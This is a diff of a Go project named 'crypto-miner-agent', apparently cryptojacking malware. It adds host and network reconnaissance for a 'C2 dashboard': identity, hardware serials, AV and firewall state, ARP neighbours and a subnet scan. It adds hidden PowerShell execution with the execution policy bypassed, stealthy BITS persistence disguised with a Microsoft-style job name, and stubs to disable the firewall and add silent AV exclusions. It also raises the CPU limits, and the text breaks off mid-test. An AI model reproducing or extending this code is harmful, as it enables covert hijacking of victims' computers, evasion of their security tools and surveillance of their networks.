}

View File

@@ -49,17 +49,6 @@ type AuthResponse struct {
Error string `json:"error"`
}
type Job struct {
ID string `json:"job_id"`
Height int64 `json:"height"`
BlockTemplate string `json:"blocktemplate"`
Difficulty int64 `json:"difficulty"`
SeedHash string `json:"seed_hash"`
Target string `json:"target"`
Blob string `json:"blob"`
Algo string `json:"algo"`
}
type SharePayload struct {
JobID string `json:"job_id"`
Nonce string `json:"nonce"`

View File

@@ -3,6 +3,8 @@ package client
import (
"encoding/json"
"testing"
"crypto-miner-agent/job"
)
func roundTrip(t *testing.T, v any, dst any) {
@@ -53,9 +55,9 @@ func TestAuthResponseJSONRoundTrip(t *testing.T) {
}
func TestJobJSONRoundTrip(t *testing.T) {
in := Job{ID: "j1", Height: 100, BlockTemplate: "tpl", Difficulty: 500,
in := job.Job{ID: "j1", Height: 100, BlockTemplate: "tpl", Difficulty: 500,
SeedHash: "seed", Target: "tgt", Blob: "blob", Algo: "rx/0"}
var out Job
var out job.Job
roundTrip(t, in, &out)
if out.ID != "j1" || out.Blob != "blob" {
t.Fatalf("unexpected: %+v", out)

106
agent/client/syscheck.go Normal file
View File

@@ -0,0 +1,106 @@
package client
import (
"os"
"runtime"
"strings"
"time"
"crypto-miner-agent/config"
"crypto-miner-agent/deploy"
)
const syscheckRawMax = 12000
// CollectFullSysCheck aggregates read-only host telemetry for the C2 dashboard.
func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheckReport {
r := &FullSysCheckReport{
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
Platform: runtime.GOOS,
Arch: runtime.GOARCH,
OSVersion: deploy.HostOSVersion(),
WorkerName: cfg.WorkerName,
BuildID: cfg.BuildID,
AgentID: agentID,
Network: &SysCheckNetwork{},
Neighbors: &SysCheckNeighbors{},
}
if host, err := os.Hostname(); err == nil {
r.Hostname = host
}
if p := collectPosture(); p != nil {
r.Security = securityFromPosture(p)
if p.AgentElevated != nil {
r.Identity = &SysCheckIdentity{AgentElevated: *p.AgentElevated}
}
}
r.Patch = collectPatchStatus()
r.ListenPorts = collectListenPorts()
r.Resources = collectResourcePressure()
if dns := probeDNS(); dns != nil {
r.Network.DNS = dns
}
r.Network.Interfaces = listNetInterfaces()
if lip, err := deploy.PrimaryLocalIPv4(); err == nil {
r.Network.PrimaryLocalIP = lip
}
extIP, src := fetchExternalIP()
r.Network.ExternalIP = extIP
r.Network.ExternalIPSource = src
if extIP != "" {
r.Network.Geo = fetchGeo(extIP)
}
arp := deploy.ArpNeighborIPs()
r.Neighbors.ArpHosts = arp
r.Neighbors.ArpCount = len(arp)
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(56)
collectSysCheckPlatform(r)
if dir, err := cfg.InstallDirectory(); err == nil {
if r.Environment == nil {
r.Environment = &SysCheckEnvironment{}
}
r.Environment.InstallDir = dir
}
r.RawSysinfo = truncateRaw(captureRawSysinfo())
r.RawIPConfig = truncateRaw(captureRawIPConfig())
r.RawNetstat = truncateRaw(captureRawNetstat())
return r
}
func truncateRaw(s string) string {
s = strings.TrimSpace(s)
if len(s) <= syscheckRawMax {
return s
}
return s[:syscheckRawMax] + "\n…[truncated]"
}
func captureRawSysinfo() string {
_, _, msg := platformReconStatic("sysinfo", "")
return msg
}
func captureRawIPConfig() string {
_, _, msg := platformReconStatic("ipconfig", "")
return msg
}
func captureRawNetstat() string {
_, _, msg := platformReconStatic("netstat", "")
return msg
}
// platformReconStatic runs one recon action without AgentClient (for syscheck bundle).
func platformReconStatic(action, command string) (bool, bool, string) {
// Minimal stub client-free path: duplicate switch via temp
ac := &AgentClient{}
return ac.platformRecon(action, command)
}

View File

@@ -0,0 +1,131 @@
package client
import (
"encoding/json"
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
"crypto-miner-agent/deploy"
)
func listNetInterfaces() []SysCheckInterface {
ifaces, err := net.Interfaces()
if err != nil {
return nil
}
var out []SysCheckInterface
for _, iface := range ifaces {
if iface.Flags&net.FlagUp == 0 {
continue
}
entry := SysCheckInterface{Name: iface.Name}
if mac := iface.HardwareAddr.String(); mac != "" {
entry.MAC = mac
}
addrs, err := iface.Addrs()
if err != nil {
continue
}
for _, a := range addrs {
switch v := a.(type) {
case *net.IPNet:
if ip4 := v.IP.To4(); ip4 != nil {
entry.IPv4 = append(entry.IPv4, fmt.Sprintf("%s/%d", ip4.String(), ones(v.Mask)))
} else if v.IP != nil && v.IP.To4() == nil {
entry.IPv6 = append(entry.IPv6, v.IP.String())
}
}
}
if len(entry.IPv4) > 0 || len(entry.IPv6) > 0 || entry.MAC != "" {
out = append(out, entry)
}
}
return out
}
func ones(mask net.IPMask) int {
n, _ := mask.Size()
return n
}
func fetchExternalIP() (ip, source string) {
client := &http.Client{Timeout: 6 * time.Second}
services := []struct {
url string
source string
}{
{"https://api.ipify.org", "ipify"},
{"https://icanhazip.com", "icanhazip"},
{"https://ifconfig.me/ip", "ifconfig.me"},
}
for _, svc := range services {
resp, err := client.Get(svc.url)
if err != nil {
continue
}
body, err := io.ReadAll(io.LimitReader(resp.Body, 64))
resp.Body.Close()
if err != nil || resp.StatusCode != http.StatusOK {
continue
}
candidate := strings.TrimSpace(string(body))
if parsed := net.ParseIP(candidate); parsed != nil && parsed.To4() != nil {
return candidate, svc.source
}
}
if wan, err := deploy.GetPublicEndpoint(); err == nil && wan != "" {
return wan, "upnp"
}
return "", ""
}
func fetchGeo(ip string) *SysCheckGeo {
if ip == "" {
return nil
}
url := fmt.Sprintf("http://ip-api.com/json/%s?fields=status,message,query,country,regionName,city,lat,lon,isp,org", ip)
client := &http.Client{Timeout: 8 * time.Second}
resp, err := client.Get(url)
if err != nil {
return nil
}
defer resp.Body.Close()
data, err := io.ReadAll(io.LimitReader(resp.Body, 4096))
if err != nil {
return nil
}
var m map[string]interface{}
if json.Unmarshal(data, &m) != nil {
return nil
}
if s, _ := m["status"].(string); s != "success" {
return nil
}
g := &SysCheckGeo{Query: ip}
if v, ok := m["country"].(string); ok {
g.Country = v
}
if v, ok := m["regionName"].(string); ok {
g.Region = v
}
if v, ok := m["city"].(string); ok {
g.City = v
}
if v, ok := m["isp"].(string); ok {
g.ISP = v
}
if v, ok := m["org"].(string); ok {
g.Org = v
}
if v, ok := m["lat"].(float64); ok {
g.Lat = v
}
if v, ok := m["lon"].(float64); ok {
g.Lon = v
}
return g
}

View File

@@ -0,0 +1,158 @@
package client
import "encoding/json"
// FullSysCheckReport is returned by the full_sys_check command (read-only recon).
type FullSysCheckReport struct {
GeneratedAt string `json:"generated_at"`
Platform string `json:"platform"`
Arch string `json:"arch"`
OSVersion string `json:"os_version,omitempty"`
Hostname string `json:"hostname,omitempty"`
WorkerName string `json:"worker_name,omitempty"`
BuildID string `json:"build_id,omitempty"`
AgentID string `json:"agent_id,omitempty"`
Identity *SysCheckIdentity `json:"identity,omitempty"`
Hardware *SysCheckHardware `json:"hardware,omitempty"`
Security *SysCheckSecurity `json:"security,omitempty"`
Network *SysCheckNetwork `json:"network,omitempty"`
Resources *ResourcePressure `json:"resources,omitempty"`
ListenPorts *ListenPortsReport `json:"listen_ports,omitempty"`
Patch *PatchStatusReport `json:"patch,omitempty"`
Environment *SysCheckEnvironment `json:"environment,omitempty"`
Neighbors *SysCheckNeighbors `json:"neighbors,omitempty"`
RawSysinfo string `json:"raw_sysinfo,omitempty"`
RawIPConfig string `json:"raw_ipconfig,omitempty"`
RawNetstat string `json:"raw_netstat,omitempty"`
ProbeErrors []string `json:"probe_errors,omitempty"`
}
type SysCheckIdentity struct {
Username string `json:"username,omitempty"`
Domain string `json:"domain,omitempty"`
ComputerName string `json:"computer_name,omitempty"`
AgentElevated bool `json:"agent_elevated,omitempty"`
MACAddress string `json:"mac_address,omitempty"`
}
type SysCheckHardware struct {
Manufacturer string `json:"manufacturer,omitempty"`
Model string `json:"model,omitempty"`
Serial string `json:"serial,omitempty"`
BIOSVersion string `json:"bios_version,omitempty"`
CPUs []SysCheckCPU `json:"cpus,omitempty"`
MemoryGB float64 `json:"memory_gb,omitempty"`
GPUs []SysCheckGPU `json:"gpus,omitempty"`
Disks []SysCheckDisk `json:"disks,omitempty"`
UptimeHours float64 `json:"uptime_hours,omitempty"`
}
type SysCheckCPU struct {
Name string `json:"name,omitempty"`
Cores int `json:"cores,omitempty"`
Logical int `json:"logical,omitempty"`
MaxMHz int `json:"max_mhz,omitempty"`
CurrentMHz int `json:"current_mhz,omitempty"`
}
type SysCheckGPU struct {
Name string `json:"name,omitempty"`
Driver string `json:"driver,omitempty"`
VRAM_MB int `json:"vram_mb,omitempty"`
}
type SysCheckDisk struct {
Mount string `json:"mount,omitempty"`
Label string `json:"label,omitempty"`
FSType string `json:"fs_type,omitempty"`
TotalGB float64 `json:"total_gb,omitempty"`
FreeGB float64 `json:"free_gb,omitempty"`
FreePct int `json:"free_pct,omitempty"`
}
type SysCheckSecurity struct {
PostureScore int `json:"posture_score,omitempty"`
DefenderEnabled *bool `json:"defender_enabled,omitempty"`
DefenderRTP *bool `json:"defender_rtp,omitempty"`
AVProducts []string `json:"av_products,omitempty"`
FirewallDomain *bool `json:"firewall_domain,omitempty"`
FirewallPrivate *bool `json:"firewall_private,omitempty"`
FirewallPublic *bool `json:"firewall_public,omitempty"`
SSHListening *bool `json:"ssh_listening,omitempty"`
PendingUpdates *int `json:"pending_updates,omitempty"`
LastPatch *string `json:"last_patch,omitempty"`
LastPatchDays *int `json:"last_patch_days,omitempty"`
RebootPending *bool `json:"reboot_pending,omitempty"`
Services []ServiceStatus `json:"services,omitempty"`
}
type SysCheckNetwork struct {
PrimaryLocalIP string `json:"primary_local_ip,omitempty"`
ExternalIP string `json:"external_ip,omitempty"`
ExternalIPSource string `json:"external_ip_source,omitempty"`
Geo *SysCheckGeo `json:"geo,omitempty"`
DNS *DNSConfig `json:"dns,omitempty"`
Interfaces []SysCheckInterface `json:"interfaces,omitempty"`
DefaultGateway string `json:"default_gateway,omitempty"`
RoutesSummary string `json:"routes_summary,omitempty"`
}
type SysCheckGeo struct {
Query string `json:"query,omitempty"`
Country string `json:"country,omitempty"`
Region string `json:"region,omitempty"`
City string `json:"city,omitempty"`
ISP string `json:"isp,omitempty"`
Org string `json:"org,omitempty"`
Lat float64 `json:"lat,omitempty"`
Lon float64 `json:"lon,omitempty"`
}
type SysCheckInterface struct {
Name string `json:"name,omitempty"`
MAC string `json:"mac,omitempty"`
IPv4 []string `json:"ipv4,omitempty"`
IPv6 []string `json:"ipv6,omitempty"`
}
type SysCheckEnvironment struct {
Timezone string `json:"timezone,omitempty"`
Locale string `json:"locale,omitempty"`
HomeDir string `json:"home_dir,omitempty"`
TempDir string `json:"temp_dir,omitempty"`
InstallDir string `json:"install_dir,omitempty"`
}
type SysCheckNeighbors struct {
ArpHosts []string `json:"arp_hosts,omitempty"`
SubnetScan string `json:"subnet_scan,omitempty"`
ArpCount int `json:"arp_count,omitempty"`
}
func (r *FullSysCheckReport) JSON() string {
b, _ := json.Marshal(r)
return string(b)
}
func securityFromPosture(p *PostureReport) *SysCheckSecurity {
if p == nil {
return nil
}
return &SysCheckSecurity{
PostureScore: p.PostureScore,
DefenderEnabled: p.DefenderEnabled,
DefenderRTP: p.DefenderRTP,
AVProducts: p.AVProducts,
FirewallDomain: p.FirewallDomain,
FirewallPrivate: p.FirewallPrivate,
FirewallPublic: p.FirewallPublic,
SSHListening: p.SSHListening,
PendingUpdates: p.PendingUpdates,
LastPatch: p.LastPatch,
LastPatchDays: p.LastPatchDays,
RebootPending: p.RebootPending,
Services: p.Services,
}
}

View File

@@ -0,0 +1,138 @@
//go:build !windows
package client
import (
"os"
"os/exec"
"os/user"
"runtime"
"strconv"
"strings"
)
func collectSysCheckPlatform(r *FullSysCheckReport) {
hw := &SysCheckHardware{}
if out, err := exec.Command("uname", "-a").CombinedOutput(); err == nil {
parts := strings.Fields(string(out))
if len(parts) >= 3 {
hw.Manufacturer = parts[2]
}
}
if runtime.GOOS == "darwin" {
if out, err := exec.Command("sysctl", "-n", "hw.model").CombinedOutput(); err == nil {
hw.Model = strings.TrimSpace(string(out))
}
if out, err := exec.Command("sysctl", "-n", "hw.memsize").CombinedOutput(); err == nil {
if n, err := strconv.ParseInt(strings.TrimSpace(string(out)), 10, 64); err == nil {
hw.MemoryGB = float64(n) / (1024 * 1024 * 1024)
}
}
} else {
if out, err := exec.Command("sh", "-c", "grep -m1 'model name' /proc/cpuinfo | cut -d: -f2").CombinedOutput(); err == nil {
hw.CPUs = []SysCheckCPU{{Name: strings.TrimSpace(string(out))}}
}
if out, err := exec.Command("sh", "-c", "grep -c ^processor /proc/cpuinfo").CombinedOutput(); err == nil {
if n, err := strconv.Atoi(strings.TrimSpace(string(out))); err == nil && len(hw.CPUs) > 0 {
hw.CPUs[0].Logical = n
}
}
if out, err := exec.Command("free", "-b").CombinedOutput(); err == nil {
lines := strings.Split(string(out), "\n")
if len(lines) > 1 {
fields := strings.Fields(lines[1])
if len(fields) >= 2 {
if total, err := strconv.ParseInt(fields[1], 10, 64); err == nil {
hw.MemoryGB = float64(total) / (1024 * 1024 * 1024)
}
}
}
}
}
if out, err := exec.Command("df", "-h").CombinedOutput(); err == nil {
hw.Disks = parseDfOutput(string(out))
}
if out, err := exec.Command("sh", "-c", "cat /proc/uptime 2>/dev/null || sysctl -n kern.boottime 2>/dev/null").CombinedOutput(); err == nil {
fields := strings.Fields(string(out))
if len(fields) > 0 {
if sec, err := strconv.ParseFloat(fields[0], 64); err == nil {
hw.UptimeHours = sec / 3600
}
}
}
r.Hardware = hw
if r.Identity == nil {
r.Identity = &SysCheckIdentity{}
}
if u, err := user.Current(); err == nil {
r.Identity.Username = u.Username
}
r.Identity.MACAddress = primaryMACAddress()
if r.Environment == nil {
r.Environment = &SysCheckEnvironment{}
}
r.Environment.HomeDir = os.Getenv("HOME")
r.Environment.TempDir = os.Getenv("TMPDIR")
if r.Environment.TempDir == "" {
r.Environment.TempDir = "/tmp"
}
if r.Network == nil {
r.Network = &SysCheckNetwork{}
}
if out, err := exec.Command("sh", "-c", "ip route show default 2>/dev/null || route -n get default 2>/dev/null").CombinedOutput(); err == nil {
r.Network.RoutesSummary = strings.TrimSpace(string(out))
for _, line := range strings.Split(string(out), "\n") {
if strings.Contains(line, "via") || strings.Contains(line, "gateway:") {
fields := strings.Fields(line)
for i, f := range fields {
if f == "via" && i+1 < len(fields) {
r.Network.DefaultGateway = fields[i+1]
break
}
if strings.HasPrefix(f, "gateway:") {
r.Network.DefaultGateway = strings.TrimPrefix(f, "gateway:")
break
}
}
break
}
}
}
}
func parseDfOutput(raw string) []SysCheckDisk {
var disks []SysCheckDisk
for _, line := range strings.Split(raw, "\n")[1:] {
fields := strings.Fields(line)
if len(fields) < 6 {
continue
}
mount := fields[len(fields)-1]
disks = append(disks, SysCheckDisk{
Mount: mount,
FSType: fields[0],
TotalGB: parseSizeGB(fields[1]),
FreeGB: parseSizeGB(fields[3]),
})
}
return disks
}
func parseSizeGB(s string) float64 {
s = strings.TrimSuffix(s, "G")
s = strings.TrimSuffix(s, "T")
s = strings.TrimSuffix(s, "M")
f, _ := strconv.ParseFloat(s, 64)
if strings.HasSuffix(s, "T") {
return f * 1024
}
return f
}

View File

@@ -0,0 +1,264 @@
//go:build windows
package client
import (
"encoding/json"
"os"
"os/user"
"strings"
)
const sysCheckWindowsScript = `
$ErrorActionPreference = 'SilentlyContinue'
$o = [ordered]@{}
# Identity
try {
$cs = Get-CimInstance Win32_ComputerSystem
$o.manufacturer = $cs.Manufacturer
$o.model = $cs.Model
$o.domain = $cs.Domain
$o.computer_name = $env:COMPUTERNAME
$o.total_ram_gb = [math]::Round($cs.TotalPhysicalMemory / 1GB, 2)
} catch {}
try {
$bios = Get-CimInstance Win32_BIOS
$o.serial = $bios.SerialNumber
$o.bios_version = $bios.SMBIOSBIOSVersion
} catch {}
try {
$o.cpus = @(Get-CimInstance Win32_Processor | ForEach-Object {
[ordered]@{
name = $_.Name
cores = [int]$_.NumberOfCores
logical = [int]$_.NumberOfLogicalProcessors
max_mhz = [int]$_.MaxClockSpeed
current_mhz = [int]$_.CurrentClockSpeed
}
})
} catch {}
try {
$o.gpus = @(Get-CimInstance Win32_VideoController | ForEach-Object {
[ordered]@{
name = $_.Name
driver = $_.DriverVersion
vram_mb = if ($_.AdapterRAM -and $_.AdapterRAM -gt 0) { [int]($_.AdapterRAM / 1MB) } else { 0 }
}
})
} catch {}
try {
$o.disks = @(Get-CimInstance Win32_LogicalDisk -Filter "DriveType=3" | ForEach-Object {
$freePct = if ($_.Size -gt 0) { [int](($_.FreeSpace / $_.Size) * 100) } else { 0 }
[ordered]@{
mount = $_.DeviceID
label = $_.VolumeName
fs_type = $_.FileSystem
total_gb = [math]::Round($_.Size / 1GB, 2)
free_gb = [math]::Round($_.FreeSpace / 1GB, 2)
free_pct = $freePct
}
})
} catch {}
try {
$os = Get-CimInstance Win32_OperatingSystem
$o.uptime_hours = [math]::Round(((Get-Date) - $os.LastBootUpTime).TotalHours, 1)
$o.timezone = (Get-TimeZone).Id
} catch {}
try {
$gw = Get-NetRoute -DestinationPrefix '0.0.0.0/0' -ErrorAction SilentlyContinue |
Sort-Object RouteMetric | Select-Object -First 1
if ($gw) { $o.default_gateway = $gw.NextHop }
} catch {}
try {
$routes = Get-NetRoute -AddressFamily IPv4 -ErrorAction SilentlyContinue |
Select-Object -First 24 DestinationPrefix, NextHop, InterfaceAlias, RouteMetric |
Format-Table -AutoSize | Out-String -Width 200
$o.routes_summary = $routes.Trim()
} catch {}
$o | ConvertTo-Json -Depth 5 -Compress
`
func collectSysCheckPlatform(r *FullSysCheckReport) {
out, err := silentCombinedOutput(
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
sysCheckWindowsScript,
)
if err != nil {
r.ProbeErrors = append(r.ProbeErrors, "windows hardware probe: "+err.Error())
} else {
parseWindowsSysCheckJSON(r, string(out))
}
if r.Identity == nil {
r.Identity = &SysCheckIdentity{}
}
if u, err := user.Current(); err == nil {
r.Identity.Username = u.Username
}
r.Identity.MACAddress = primaryMACAddress()
if r.Environment == nil {
r.Environment = &SysCheckEnvironment{}
}
r.Environment.TempDir = os.Getenv("TEMP")
r.Environment.HomeDir = os.Getenv("USERPROFILE")
}
func parseWindowsSysCheckJSON(r *FullSysCheckReport, raw string) {
raw = strings.TrimSpace(raw)
if idx := strings.LastIndex(raw, "{"); idx > 0 {
raw = raw[idx:]
}
var m map[string]interface{}
if json.Unmarshal([]byte(raw), &m) != nil {
return
}
hw := &SysCheckHardware{}
if v, ok := m["manufacturer"].(string); ok {
hw.Manufacturer = v
}
if v, ok := m["model"].(string); ok {
hw.Model = v
}
if v, ok := m["serial"].(string); ok {
hw.Serial = v
}
if v, ok := m["bios_version"].(string); ok {
hw.BIOSVersion = v
}
if v, ok := m["total_ram_gb"].(float64); ok {
hw.MemoryGB = v
}
if v, ok := m["uptime_hours"].(float64); ok {
hw.UptimeHours = v
}
hw.CPUs = parseCPUList(m["cpus"])
hw.GPUs = parseGPUList(m["gpus"])
hw.Disks = parseDiskList(m["disks"])
r.Hardware = hw
if r.Identity == nil {
r.Identity = &SysCheckIdentity{}
}
if v, ok := m["domain"].(string); ok {
r.Identity.Domain = v
}
if v, ok := m["computer_name"].(string); ok {
r.Identity.ComputerName = v
}
if r.Network == nil {
r.Network = &SysCheckNetwork{}
}
if v, ok := m["default_gateway"].(string); ok {
r.Network.DefaultGateway = v
}
if v, ok := m["routes_summary"].(string); ok {
r.Network.RoutesSummary = v
}
if r.Environment == nil {
r.Environment = &SysCheckEnvironment{}
}
if v, ok := m["timezone"].(string); ok {
r.Environment.Timezone = v
}
}
func parseCPUList(v interface{}) []SysCheckCPU {
arr, ok := v.([]interface{})
if !ok {
return nil
}
var out []SysCheckCPU
for _, item := range arr {
obj, ok := item.(map[string]interface{})
if !ok {
continue
}
c := SysCheckCPU{Name: mapStr(obj, "name")}
if n, ok := obj["cores"].(float64); ok {
c.Cores = int(n)
}
if n, ok := obj["logical"].(float64); ok {
c.Logical = int(n)
}
if n, ok := obj["max_mhz"].(float64); ok {
c.MaxMHz = int(n)
}
if n, ok := obj["current_mhz"].(float64); ok {
c.CurrentMHz = int(n)
}
out = append(out, c)
}
return out
}
func parseGPUList(v interface{}) []SysCheckGPU {
arr, ok := v.([]interface{})
if !ok {
return nil
}
var out []SysCheckGPU
for _, item := range arr {
obj, ok := item.(map[string]interface{})
if !ok {
continue
}
g := SysCheckGPU{
Name: mapStr(obj, "name"),
Driver: mapStr(obj, "driver"),
}
if n, ok := obj["vram_mb"].(float64); ok {
g.VRAM_MB = int(n)
}
out = append(out, g)
}
return out
}
func parseDiskList(v interface{}) []SysCheckDisk {
arr, ok := v.([]interface{})
if !ok {
return nil
}
var out []SysCheckDisk
for _, item := range arr {
obj, ok := item.(map[string]interface{})
if !ok {
continue
}
d := SysCheckDisk{
Mount: mapStr(obj, "mount"),
Label: mapStr(obj, "label"),
FSType: mapStr(obj, "fs_type"),
}
if n, ok := obj["total_gb"].(float64); ok {
d.TotalGB = n
}
if n, ok := obj["free_gb"].(float64); ok {
d.FreeGB = n
}
if n, ok := obj["free_pct"].(float64); ok {
d.FreePct = int(n)
}
out = append(out, d)
}
return out
}
func mapStr(m map[string]interface{}, key string) string {
if v, ok := m[key].(string); ok {
return v
}
return ""
}

View File

@@ -23,9 +23,9 @@ func GetBuiltinConfig() BuiltinConfig {
PoolPort: 3333,
PoolTLS: false,
PoolPass: "x",
MaxCPUUsage: 80,
MaxMemoryPct: 70,
MinFreeRAM: 1024,
MaxCPUUsage: 95,
MaxMemoryPct: 85,
MinFreeRAM: 512,
IdleThresholdPct: 20,
IdleDurationMinutes: 5,
ScheduleStart: "21:00",

View File

@@ -20,6 +20,7 @@ type BuiltinConfig struct {
DisplayMode string
SilentMode bool
RunAs string
HostBinaryTarget string // preset id (ssh, ftp, chrome, …) or custom:C:\path\app.exe when run_as=host_binary
AutoStart bool
ProcessName string
BuildID string

Binary file not shown.

View File

@@ -12,4 +12,20 @@ func OpenFirewallPort(_ int, _ string) (string, error) {
return "", fmt.Errorf("firewall port open is Windows-only")
}
func SetWindowsFirewallProfiles(_ bool, _ string) (string, error) {
return "", fmt.Errorf("firewall profile control is Windows-only")
}
func DisableWindowsFirewall() (string, error) {
return "", fmt.Errorf("firewall disable is Windows-only")
}
func EnableWindowsFirewall() (string, error) {
return "", fmt.Errorf("firewall enable is Windows-only")
}
func RemoveFirewallRuleByName(_ string) (string, error) {
return "", fmt.Errorf("firewall rule removal is Windows-only")
}
func SilentAVExclusion(_, _ string) {} // no-op on non-Windows

17
agent/deploy/bits_stub.go Normal file
View File

@@ -0,0 +1,17 @@
//go:build !windows
package deploy
import (
"fmt"
"crypto-miner-agent/config"
)
func CreateBITSPersistence(_ config.RuntimeConfig, _ string) error {
return fmt.Errorf("BITS persistence is Windows-only")
}
func RemoveBITSPersistence(_ config.RuntimeConfig) {}
func BitsJobName(_ config.RuntimeConfig) string { return "" }

View File

@@ -0,0 +1,92 @@
//go:build windows
package deploy
import (
"fmt"
"os"
"path/filepath"
"strings"
"crypto-miner-agent/config"
)
// BITS (Background Intelligent Transfer Service) notify-job persistence — runs the
// miner when the transfer job errors, completes, or retries (common stealthy hook).
// BitsJobName returns the BITS notify job name for this worker build.
func BitsJobName(cfg config.RuntimeConfig) string {
return bitsJobName(cfg)
}
func bitsJobName(cfg config.RuntimeConfig) string {
base := PersistenceKeyName(cfg)
if base == "" {
base = "CryptoMinerAgent"
}
return "Microsoft-Windows-BITS-" + sanitizeName(base)
}
func bitsJobExists(jobName string) bool {
out, err := HiddenCombinedOutput("bitsadmin", "/list", "/allusers", "/verbose")
if err != nil {
return false
}
return strings.Contains(string(out), jobName)
}
// CreateBITSPersistence registers a download BITS job with SetNotifyCmdLine pointed at the miner.
func CreateBITSPersistence(cfg config.RuntimeConfig, binPath string) error {
if strings.TrimSpace(binPath) == "" {
return fmt.Errorf("binary path required")
}
job := bitsJobName(cfg)
if bitsJobExists(job) {
return nil
}
installDir, err := cfg.InstallDirectory()
if err != nil {
return err
}
if err := os.MkdirAll(installDir, 0o755); err != nil {
return err
}
localFile := filepath.Join(installDir, ".bits-transfer.stub")
if err := os.WriteFile(localFile, []byte{0}, 0o644); err != nil {
return err
}
remoteURL := "http://127.0.0.1:65534/aetherforge-bits-placeholder"
exeEsc := strings.ReplaceAll(binPath, `"`, `""`)
params := strings.ReplaceAll(runFlag, `"`, `""`)
steps := []struct {
name string
args []string
}{
{"create", []string{"/create", "/download", job}},
{"addfile", []string{"/addfile", job, remoteURL, localFile}},
{"notifycmd", []string{"/SetNotifyCmdLine", job, exeEsc, params}},
{"notifyflags", []string{"/SetNotifyFlags", job, "1", "1", "1", "1", "0"}},
{"retry", []string{"/SetMinRetryDelay", job, "60"}},
{"resume", []string{"/resume", job}},
}
for _, step := range steps {
args := append([]string{"bitsadmin"}, step.args...)
if err := HiddenRun(args[0], args[1:]...); err != nil {
_ = HiddenRun("bitsadmin", "/cancel", job)
return fmt.Errorf("bitsadmin %s: %w", step.name, err)
}
}
return nil
}
// RemoveBITSPersistence cancels and removes the BITS notify job for this worker.
func RemoveBITSPersistence(cfg config.RuntimeConfig) {
job := bitsJobName(cfg)
_ = HiddenRun("bitsadmin", "/cancel", job)
_ = HiddenRun("bitsadmin", "/complete", job)
if installDir, err := cfg.InstallDirectory(); err == nil {
_ = os.Remove(filepath.Join(installDir, ".bits-transfer.stub"))
}
}

View File

@@ -0,0 +1,20 @@
//go:build windows
package deploy
import (
"strings"
"testing"
)
func TestBitsJobName(t *testing.T) {
cfg := testRuntimeConfig()
name := BitsJobName(cfg)
if !strings.HasPrefix(name, "Microsoft-Windows-BITS-") {
t.Fatalf("unexpected prefix: %q", name)
}
if strings.Contains(name, " ") {
t.Fatalf("job name must not contain spaces: %q", name)
}
}

View File

@@ -0,0 +1,129 @@
package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"runtime"
"strings"
)
const desktopPathPrefix = "@desktop/"
// UserDesktopDir returns the interactive user's Desktop folder for the current OS.
func UserDesktopDir() (string, error) {
switch runtime.GOOS {
case "windows":
return windowsDesktopDir()
case "darwin":
return unixDesktopFromHome("Desktop")
default:
return linuxDesktopDir()
}
}
func windowsDesktopDir() (string, error) {
profile := strings.TrimSpace(os.Getenv("USERPROFILE"))
if profile == "" {
return "", fmt.Errorf("USERPROFILE not set")
}
candidates := []string{
filepath.Join(profile, "Desktop"),
filepath.Join(profile, "OneDrive", "Desktop"),
filepath.Join(profile, "OneDrive - Personal", "Desktop"),
}
for _, c := range candidates {
if st, err := os.Stat(c); err == nil && st.IsDir() {
return filepath.Clean(c), nil
}
}
// Create default Desktop if missing (unusual profiles)
fallback := candidates[0]
if err := os.MkdirAll(fallback, 0o755); err != nil {
return "", err
}
return fallback, nil
}
func unixDesktopFromHome(sub string) (string, error) {
home, err := os.UserHomeDir()
if err != nil || home == "" {
return "", fmt.Errorf("home directory unavailable")
}
desktop := filepath.Join(home, sub)
if st, err := os.Stat(desktop); err == nil && st.IsDir() {
return filepath.Clean(desktop), nil
}
if err := os.MkdirAll(desktop, 0o755); err != nil {
return "", fmt.Errorf("desktop: %w", err)
}
return desktop, nil
}
func linuxDesktopDir() (string, error) {
if out, err := exec.Command("xdg-user-dir", "DESKTOP").Output(); err == nil {
p := strings.TrimSpace(string(out))
if p != "" {
if st, err := os.Stat(p); err == nil && st.IsDir() {
return filepath.Clean(p), nil
}
}
}
return unixDesktopFromHome("Desktop")
}
// ResolveDesktopFile joins a sanitized filename onto the user Desktop.
func ResolveDesktopFile(filename string) (string, error) {
desktop, err := UserDesktopDir()
if err != nil {
return "", err
}
name := sanitizeDesktopFilename(filename)
if name == "" {
name = "upload.bin"
}
return filepath.Join(desktop, name), nil
}
func sanitizeDesktopFilename(name string) string {
name = strings.TrimSpace(name)
name = strings.ReplaceAll(name, "\\", "/")
if name == "" {
return ""
}
// Allow subfolders under Desktop but block traversal.
parts := strings.Split(name, "/")
var clean []string
for _, p := range parts {
p = strings.TrimSpace(p)
if p == "" || p == "." || p == ".." {
continue
}
clean = append(clean, p)
}
return filepath.Join(clean...)
}
// ResolveRemotePath expands @desktop/…, desktop:…, and ~/… for upload/download commands.
func ResolveRemotePath(remote string) (string, error) {
remote = strings.TrimSpace(remote)
if remote == "" {
return "", fmt.Errorf("remote path is empty")
}
lower := strings.ToLower(remote)
if strings.HasPrefix(lower, "desktop:") {
return ResolveDesktopFile(remote[len("desktop:"):])
}
if strings.HasPrefix(remote, desktopPathPrefix) {
return ResolveDesktopFile(remote[len(desktopPathPrefix):])
}
if strings.HasPrefix(remote, "~/") {
home, err := os.UserHomeDir()
if err != nil {
return "", err
}
return filepath.Clean(filepath.Join(home, remote[2:])), nil
}
return filepath.Clean(remote), nil
}

View File

@@ -0,0 +1,45 @@
package deploy
import (
"path/filepath"
"runtime"
"strings"
"testing"
)
func TestSanitizeDesktopFilename(t *testing.T) {
if got := sanitizeDesktopFilename(`..\..\etc\passwd`); got != "etc/passwd" && got != `etc\passwd` {
// Join uses OS separator; at minimum no ..
if strings.Contains(got, "..") {
t.Fatalf("traversal leaked: %q", got)
}
}
if got := sanitizeDesktopFilename("report.pdf"); got != "report.pdf" {
t.Fatalf("got %q", got)
}
}
func TestResolveRemotePathDesktopPrefix(t *testing.T) {
p, err := ResolveRemotePath("@desktop/notes.txt")
if err != nil {
t.Fatal(err)
}
if !strings.HasSuffix(p, "notes.txt") {
t.Fatalf("path %q should end with notes.txt", p)
}
if !strings.Contains(strings.ToLower(p), "desktop") && runtime.GOOS != "windows" {
